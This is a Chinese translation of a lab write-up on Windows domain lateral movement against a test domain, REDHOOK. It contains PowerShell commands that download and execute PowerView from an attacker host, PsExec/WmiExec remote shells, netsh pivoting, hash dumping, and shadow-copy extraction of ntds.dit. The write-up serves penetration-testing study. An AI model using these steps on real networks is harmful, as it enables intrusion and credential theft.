2、超詳細的域滲透過程
大家好!我們在這個write up 裡講下幾個不同的入侵 windows domian 時的橫向操作。 內容不會過於深入,而會介紹一些基本技巧和流程. 為了保證測試客觀性所以我將使用我們的測試物件lock domain “REDHOOK”. 希望這會成為我們第一個關於 windows domian 的系列教程. 如果你要具體瞭解某些細節(比如kerberos 的 tickets)歡迎發email 謝謝 (作者鬼佬,要問寫英文)!
例項:
另外我們作為攻擊者假設已經獲得了Client 1.主機上一些有用的本地管理員的鑑別資訊。怎麼獲得的?如果目標網路夠大, 就很有可能會在網路分享上找到有用的鑑別資訊 (例如各種batch, vbs, .NET, ps1, etc. 檔案中), 在找的過程中 "dir /s", "findstr /SI" andFind-InterestingFile 相當管用. 取決於一開始你怎麼獲得的許可權,你可能已經用到了一些很好用的像cobalt strike型別入侵框架,或者你已經在目標網路某臺機器是有了一些基本許可權功能。雖然在本講中入侵者使用的是kali,但我也會介紹一些windows 上的小技巧. 最後,本講中我不會去講關於繞過防護的技巧,記住實戰中觸發了防護的話那就代表沒戲了。
# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat
@echo off
net use "\\10.0.0.129\C$" /user:bob ImSoSecur3!
if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
echo "Sigh, more errors on Client1! Copying.."
copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
del "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
) else (
echo "Yaay, no new errors on Client1!"
)
net use "\\10.0.0.129\C$" /delete
我們可以嘗試獲取上面batch指令碼中IP地址的NetBIOS的資訊。
Kali:nbtscan -vh IP
如果在windows上使用cmd命令,如上圖中所示我們可以看出主機 “WIN7-ENT-CLI1” 連線的是 REDHOOK domain.
PsExec
我們使用 metasploit's P**ec 可以很容易的獲取到反彈shell。 注意smbuser設置的bob是本地賬,如果“net use” 命令下我們必須用 “REDHOOK\bob” 同時我們就不設定SMBDomain 引數
除了Metasploit的PsExec,我們還能用Impacket的PsExec(RemComSvc 模擬PsExec)
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
在沒有明文密碼的時候我們通過它來傳遞獲取到的HASH作為代替,之後細講.(下圖為 Impacket的PsExec指令碼使用獲取目標shell)
微軟也有自帶的 PsExec (合法的數字簽名過)。
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
圖中命令後面加個 "-s" 可以返回 SYSTEM 許可權的shell.
當然你必須知道怎麼用 "cmd.exe /c" and "powershell.exe-exec bypass -command"去達到你的目的.我們提到的所有工具都已經整合了這些基本功能.我們回到用WmiExec ,通過圖中命令獲取到下圖資訊, 這時候你可能已經有了一個可以用來獲取hash的半開的shell.
最後用 PowerSploit'sInvoke-WmiCommand 獲取hash,由於PSCredential object的關係,這玩意可能比較滿要花點時間。 但是用這個指令碼你可以獲取到如下輸出以及記憶體中的資料。
缺點就是使用WCE的做以上操作的話,100%肯定會被發現攻擊行為。Mimikatz則是利用 powershell w00t!來直接載入到目標記憶體中。我習慣用編譯過的二進制。
或者你可以用 Luke Jennings 寫的 incognito binary。 這個工具和 PsExec 功能類似可以用於遠端攻擊.
C:\Windows\System32> whoami
redhook\asenath.waite
C:\Windows\System32> hostname
WIN7-Ent-CLI1
C:\Windows\System32> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17
IPv4 Address. . . . . . . . . . . : 10.0.0.129 # Attacker's subnet
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11
IPv4 Address. . . . . . . . . . . : 10.1.1.2 # REDHOOK subnet
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.1.1.1
Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter isatap.localdomain:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain
Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
# A very small network, three hosts, including the one we have just compromised.
C:\Windows\System32> net view
Server Name Remark
-------------------------------------------------------------------------------
\\REDRUM-DC red.dc
\\WIN7-ENT-CLI1
\\WIN7-ENT-CLI2
The command completed successfully.
# The DC the user is authenticated to
C:\Windows\System32> echo %logonserver%
\\REDRUM-DC
C:\Windows\System32> ping -n 1 REDRUM-DC
Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:
Reply from 10.1.1.200: bytes=32 time<1ms TTL=128
Ping statistics for 10.1.1.200:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
# List local users
C:\Windows\System32> net user
User accounts for \\WIN7-ENT-CLI1
-------------------------------------------------------------------------------
Administrator bob Guest
TemplateAdmin
The command completed successfully.
# List REDHOOK domain users
C:\Windows\System32> net user /domain
The request will be processed at a domain controller for domain RedHook.local.
User accounts for \\Redrum-DC.RedHook.local
-------------------------------------------------------------------------------
Administrator asenath.waite Guest
john.smith krbtgt redhook.DA
robert.suydam wilbur.whateley
The command completed successfully.
# PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the
network.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin"
Server : Redrum-DC.RedHook.local
AccountName : RedHook.local/Administrator # Be careful, Administrator is a domain user
SID : S-1-5-21-129707511-1158432277-3818383092-500 in this case, not a local user!
Disabled : False
IsGroup : False
IsDomain : True
LastLogin : 28/01/2016 21:38:22
Server : Redrum-DC.RedHook.local
AccountName : RedHook.local/Enterprise Admins
SID : S-1-5-21-129707511-1158432277-3818383092-519
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :
Server : Redrum-DC.RedHook.local
AccountName : RedHook.local/Domain Admins
SID : S-1-5-21-129707511-1158432277-3818383092-512
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :
Server : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/Administrator
SID : S-1-5-21-280973330-564264495-219324212-500
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :
Server : WIN7-ENT-CLI1.RedHook.local
AccountName : RedHook.local/Domain Admins
SID : S-1-5-21-129707511-1158432277-3818383092-512
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :
Server : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/bob # The local user bob is an admin on Client 1,
SID : S-1-5-21-280973330-564264495-219324212-1002 we knew this already.
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :
Server : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/TemplateAdmin # Mmm!
SID : S-1-5-21-280973330-564264495-219324212-1003
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :
Server : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/Administrator
SID : S-1-5-21-1588183677-2924731702-2964281847-500
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :
Server : WIN7-ENT-CLI2.RedHook.local
AccountName : RedHook.local/Domain Admins
SID : S-1-5-21-129707511-1158432277-3818383092-512
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :
Server : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/TemplateAdmin # Mmm², very suspicious, the local user
SID : S-1-5-21-1588183677-2924731702-2964281847-1004 TemplateAdmin is an admin on both "Client
Disabled : ERROR 1" and "Client 2"!
IsGroup : False
IsDomain : False
LastLogin :
# PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC"
sesi10_cname sesi10_username sesi10_time sesi10_idle_time
------------ --------------- ----------- ----------------
\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$ 10 10
\\10.1.1.2 asenath.waite 0 0
# Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to
the box and that the connection is originating from the DC!
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2"
sesi10_cname sesi10_username sesi10_time sesi10_idle_time
------------ --------------- ----------- ----------------
\\10.1.1.200 Administrator 1721 124
\\10.1.1.2 asenath.waite 0 0
# Let's get some more info about that account. Again, this is listing information about
REDHOOK\Administrator not the local administrator.
C:\Windows\System32> net user Administrator /domain
The request will be processed at a domain controller for domain RedHook.local.
User name Administrator
Full Name
Comment Built-in account for administering the computer/dom
ain
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 25/01/2016 21:15:11
Password expires Never
Password changeable 26/01/2016 21:15:11
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 28/01/2016 21:38:22
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Domain Users *Domain Admins # Oops, he is a DA!
The command completed successfully.
# We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA.
C:\Windows\System32> net user redhook.DA /domain
The request will be processed at a domain controller for domain RedHook.local.
User name redhook.DA
Full Name redhook DA
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 25/01/2016 21:27:37
Password expires Never
Password changeable 26/01/2016 21:27:37
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 28/01/2016 21:18:56
Logon hours allowed All
Local Group Memberships
Global Group memberships *Enterprise Admins *Domain Admins # Our target on the other hand is the
*Group Policy Creator *Schema Admins mother root of DA's hehe!
The command completed successfully.
通過使用“session 1”做route我們就可以用metasploit的各種模組來測試之前測試不到的 /24 子網中的主機啦!
另外,我們可以使用 proxychains (就是一種socks 代理的方式) 來做代理獲取到進入的目標機的許可權。在設定proxychains時需要正確的設定成metasploit module使用的埠。
上面的看著可能有點難懂. "Client 1" 在 10.1.1.2:9988 上監聽, 然後轉發所有數據到10.0.0.128:9988. 所有的都在後臺發生。事實上在Windows中封裝在netsh上。剩下的就是要稍微重新配置下PsExec。
稍作修改之後就可以很簡單的P**ec到10.0.0.129 然後被轉發到 10.1.1.3!
記得用完之後把埠轉發規則清掉,下面這個就是命令。
C:\Windows\system32> netsh interface portproxy reset
這裡我們運氣比較好,或者說我們的步驟都是預先安排好的呵呵!~我們現在在看下incognito的基礎用法。
# Create an unrestricted share.
C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test
C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt
C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full
SomeShare was shared successfully.
C:\Users\asenath.waite> net share
Share name Resource Remark
-------------------------------------------------------------------------------
C$ C:\ Default share
IPC$ Remote IPC
ADMIN$ C:\Windows Remote Admin
SomeShare C:\Users\asenath.waite\Desktop\test
The command completed successfully.
# On the remote host simple mount the share.
C:\Users\belial> net use \\10.0.0.129\SomeShare
The command completed successfully.
C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt
Hello
# Unmount.
C:\Users\belial> net use \\10.0.0.129\SomeShare /delete
\\10.0.0.129\SomeShare was deleted successfully.
# Clean up the share.
C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes
Users have open files on SomeShare. Continuing the operation will force the files closed.
SomeShare was deleted successfully.
C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test
由於 windows 2k12 r2/8.1 enhanced protection features (安全防護),我只dump到了hash。拿到明文密碼基本是不可能的。但是,如圖中所示我們已經獲得了REDHOOK\redhook.DA NTLM hash 所以已經有了足夠登入域中其他終端的條件。
C:\> whoami
redhook\redhook.da
# Get the path to NTDS, it may not be in the C drive.
C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
System Schema Version REG_DWORD 0x45
Root Domain REG_SZ DC=RedHook,DC=local
Configuration NC REG_SZ CN=Configuration,DC=RedHook,DC=local
Machine DN Name REG_SZ CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN=
Configuration,DC=RedHook,DC=local
DsaOptions REG_SZ 1
IsClone REG_DWORD 0x0
ServiceDll REG_EXPAND_SZ %systemroot%\system32\ntdsa.dll
DSA Working Directory REG_SZ C:\Windows\NTDS
DSA Database file REG_SZ C:\Windows\NTDS\ntds.dit
Database backup path REG_SZ C:\Windows\NTDS\dsadata.bak
Database log files path REG_SZ C:\Windows\NTDS
Hierarchy Table Recalculation interval (minutes) REG_DWORD 0x2d0
Database logging/recovery REG_SZ ON
DS Drive Mappings REG_MULTI_SZ c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\
DSA Database Epoch REG_DWORD 0x7983
Strict Replication Consistency REG_DWORD 0x1
Schema Version REG_DWORD 0x45
ldapserverintegrity REG_DWORD 0x1
Global Catalog Promotion Complete REG_DWORD 0x1
DSA Previous Restore Count REG_DWORD 0x1
# Create a shadow copy of C.
C:\> vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'c:\'
Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# Copy out ntds and the system hive.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
1 file(s) copied.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
1 file(s) copied.
得到檔案之後,我們可以本地使用Impacket's SecretsDump 來獲取檔案內容。 見下圖相關文章
- 域滲透之初識Kerberos認證過程ROS
- 3、域滲透詳解
- 域滲透之初識LM&NTLM認證過程
- 滲透Hacking Team過程
- 域滲透 | kerberos認證及過程中產生的攻擊ROS
- 內網滲透-初探域滲透內網
- 超詳細的ArrayList擴容過程(配合原始碼詳解)原始碼
- 超詳細講解頁面載入過程
- 域滲透——Skeleton Key
- 域滲透——Hook PasswordChangeNotifyHook
- 域滲透——Pass The Ticket
- 域滲透之利用WMI來橫向滲透
- 泊松過程的詳細理解
- 記一次大型且細小的域滲透實戰
- 域內滲透基本技巧
- 域滲透——Security Support ProviderIDE
- 域滲透的金之鑰匙
- MySQL MHA詳細搭建過程MySql
- nginx配置https詳細過程NginxHTTP
- 7、域滲透——Pass The Hash的實現
- 域滲透——Local Administrator Password Solution
- 域滲透——Pass The Hash & Pass The Key
- 域滲透之ldap協議LDA協議
- 技術分享 | 域滲透AdminSDHolder
- centos7安裝的詳細過程CentOS
- 區域網資料夾共享,透過搭建私有云盤替換FTP過程詳解FTP
- 安全技術 | 域滲透之SPN
- Raven 2 靶機滲透
- 滲透測試對app安全測試實戰過程分享APP
- 滲透測試公司實戰拿下客戶網站過程網站
- Visual Studio 2010詳細安裝過程
- mysql5.7.23安裝詳細過程MySql
- [譯]從輸入URL到頁面呈現的超詳細過程——第二步:Tags轉化成DOM的過程
- GraphQL滲透測試詳解
- 幾大排序演算法的理解和程式碼實現(超級詳細的過程)排序演算法
- 10、一篇經典的域滲透文章
- DC-5靶場滲透實戰過程(個人學習)
- 詳細說明搜尋引擎優化的過程優化